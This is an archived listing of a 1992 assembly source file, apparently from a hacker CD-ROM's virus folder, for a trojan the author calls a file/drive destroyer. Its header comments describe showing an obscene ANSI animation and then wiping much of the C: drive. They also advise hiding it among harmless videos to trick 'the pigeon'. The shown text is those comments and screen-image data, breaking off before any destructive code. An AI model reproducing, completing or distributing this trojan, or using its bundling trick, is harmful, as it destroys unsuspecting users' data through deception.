home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Underworld 2: Forbidden Knowledge
/
Hackers Underworld 2: Forbidden Knowledge.iso
/
VIRUS
/
PENIS.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-09-09
|
22KB
|
351 lines
; PENIS.ASM [PENIS trojan]
; Laughing Dog MASM/TASM compatible Assembly-Code file/drive destroyer
; Created: 9/5/92, assemble and link to .EXE.
; This piece of code, generated in part by the Laughing Dog
; screen maker, will write a squirting ANSI penis to the
; monitor (ANSI.SYS is NOT needed) and pause. At the press of any key,
; PENIS trojan will restore the previous video page, reset the cursor
; and crush a tremendous portion of the C: drive. This is totally
; compatible with Laughing Dog videos which always pause on screen
; display. For best results, use Laughing Dog to create any number of
; harmless "interesting" animated videos and collect them in one archive
; with the PENIS trojan. (They should, however, be thematically consistant.)
; In this way, the pigeon will enjoy some harmless animated video
; fun before he stumbles upon PENIS. The Laughing Dog utility, LDOGRAB.EXE,
; is very handy for capturing interesting screens to Laughing Dog format
; and was used in the creation of PENIS trojan. The Laughing Dog screen-maker
; is quality shareware and should you use it, PLEASE remember to register.
PENIS_LENGTH EQU 2000 ; ha ha ha ha, a little funny for ya
.MODEL small
.STACK 100h ;256 byte stack
.DATA
PENIS_SCREEN LABEL WORD
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0EDCH, 0EDCH, 0EDCH, 0EDCH, 0EDCH, 06DCH
DW 8FDCH, 8FDBH, 8FDFH, 0FFDFH, 8FDCH, 8FDCH, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0EDCH, 0EDCH, 6EDBH
DW 6EDFH, 6EDFH, 6EDFH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DDH, 8FDFH, 8F20H, 8FDFH, 0FFDBH, 0FFDCH
DW 8FDCH, 8F20H, 0FDFH, 0F20H, 0F20H, 0F20H, 0F20H, 0720H
DW 0F20H, 0F20H, 7120H, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
DW 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
DW 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
DW 07DBH, 08DBH, 08DCH, 0820H, 0820H, 0820H, 0F20H, 0F20H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
DW 0120H, 0EDCH, 0EDCH, 0EDBH, 6EDFH, 6EDFH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 0620H, 0620H, 8FDFH, 8F20H, 0FFDBH
DW 0FDCH, 07DCH, 0FDCH, 87DCH, 87DFH, 8720H, 8720H, 0720H
DW 0743H, 073AH, 075CH, 0754H, 0749H, 0754H, 0754H, 0759H
DW 073EH, 68DBH, 6820H, 6820H, 6EDFH, 6EDFH, 6EDBH, 07DBH
DW 6FDBH, 6FDBH, 6EDBH, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
DW 07DBH, 08DBH, 08DBH, 08DBH, 08DCH, 0820H, 0820H, 0820H
DW 0820H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0120H, 0120H
DW 0EDEH, 3EDBH, 68B0H, 68B0H, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 06DDH, 0620H, 0620H, 0620H, 0620H
DW 0FDFH, 0FFDEH, 0FDBH, 0FFDDH, 0FDCH, 0F20H, 87DCH, 0720H
DW 8720H, 8720H, 7820H, 07DBH, 68DFH, 68DFH, 68DFH, 07DBH
DW 68DBH, 68DCH, 6820H, 6820H, 6820H, 6820H, 6820H, 07DBH
DW 6EDBH, 6EDFH, 6EDFH, 07DBH, 6EDFH, 6EDFH, 6E20H, 07DBH
DW 07DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DCH, 0820H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0120H, 0120H
DW 0120H, 0120H, 6EDBH, 68B0H, 68B0H, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 06DDH, 0620H, 0620H, 8FDFH, 8F20H
DW 8FDCH, 0F0DBH, 0FDFH, 0F20H, 0F0DBH, 0FDBH, 0FDBH, 0FFDDH
DW 0F20H, 0F20H, 7820H, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
DW 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
DW 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH, 07DBH
DW 07DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH, 08DBH
DW 08DCH, 0820H, 0820H, 0F20H, 0F20H, 0F20H, 0F20H, 0F20H
DW 0F20H, 0F20H, 0F20H, 0F20H, 0F20H, 0920H, 0920H, 0920H
DW 0EDCH, 6EDBH, 6EDFH, 06DBH, 68B0H, 68B0H, 68B0H, 68B0H
DW 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 8FDCH, 87DDH, 8FDFH, 0F0DBH, 0FDCH, 0720H
DW 0F20H, 0F20H, 7820H, 07DBH, 08DBH, 08DBH, 08DBH, 7820H
DW 7820H, 7820H, 7820H, 7820H, 08DBH, 08DBH, 08DBH, 07DBH
DW 08DBH, 08DBH, 08DBH, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
DW 07DBH, 08DBH, 38DFH, 3820H, 38DFH, 38DFH, 38DFH, 38DFH
DW 38DFH, 38DFH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH
DW 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 03DCH, 3EDFH
DW 3EDFH, 36DFH, 36DFH, 36DFH, 36DFH, 06DBH, 06DBH, 68B0H
DW 68B0H, 68B0H, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH, 06DBH
DW 06DBH, 06DBH, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 0720H, 0FDFH, 0FDCH, 7F20H, 0F20H, 0FDCH
DW 0F20H, 0F20H, 7320H, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
DW 7720H, 7720H, 7720H, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
DW 6720H, 6720H, 6720H, 07DBH, 68DFH, 68DFH, 68DFH, 07DBH
DW 07DBH, 08DBH, 08DBH, 03DBH, 03DBH, 3320H, 3B53H, 3B50H
DW 3B45H, 3B43H, 3B49H, 3B41H, 3B4CH, 3B4CH, 3B59H, 3B20H
DW 3B4CH, 3B55H, 3B42H, 3B52H, 3B49H, 3B43H, 3B41H, 3B54H
DW 3B45H, 3B44H, 3B20H, 3B20H, 03DBH, 36DEH, 06DBH, 06DBH
DW 06DBH, 68B0H, 68B0H, 68B0H, 68B0H, 68B0H, 66DBH, 06DBH
DW 06DBH, 06DFH, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H
DW 0720H, 0720H, 87DEH, 0FDCH, 87DBH, 8720H, 87DEH, 8720H
DW 8720H, 8720H, 7320H, 07DBH, 07DBH, 07DBH, 07DBH, 7720H
DW 7720H, 7720H, 7720H, 7720H, 7720H, 7720H, 7720H, 7720H
DW 7720H, 7720H, 7720H, 07DBH, 07DBH, 7720H, 07DBH, 7720H
DW 07DBH, 08DBH, 08DBH, 03DBH, 3320H, 3320H, 3320H, 3B46H
DW 3B4FH, 3B52H, 3B20H, 3B20H, 3B48H, 3B45H, 3B52H, 3B20H
DW 3B20H, 3B50H, 3B4CH, 3B45H, 3B41H, 3B53H, 3B55H, 3B52H
DW 3B45H, 3B20H, 3B20H, 3B20H, 3B20H, 3B20H, 06DBH, 06DBH
DW 06DBH, 06DBH, 06DBH, 06DBH, 06DFH, 68B0H, 68B0H, 66DBH
DW 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 0720H, 8FDCH
DW 8F20H, 87DDH, 0FDFH, 0F0DBH, 8FDCH, 8F20H, 8F20H, 8F20H
DW 8F20H, 8F20H, 7B20H, 07DBH, 08DBH, 08DBH, 08DBH, 07DBH
DW 08DBH, 08DBH, 08DBH, 07DBH, 08DBH, 08DBH, 08DBH, 7820H
DW 7820H, 7820H, 7820H, 07DBH, 68DFH, 68DFH, 68DFH, 07DBH
DW 07DBH, 08DBH, 08DBH, 38DDH, 03DBH, 3B54H, 3B65H, 3B61H
DW 3B72H, 03DBH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDCH, 3BDC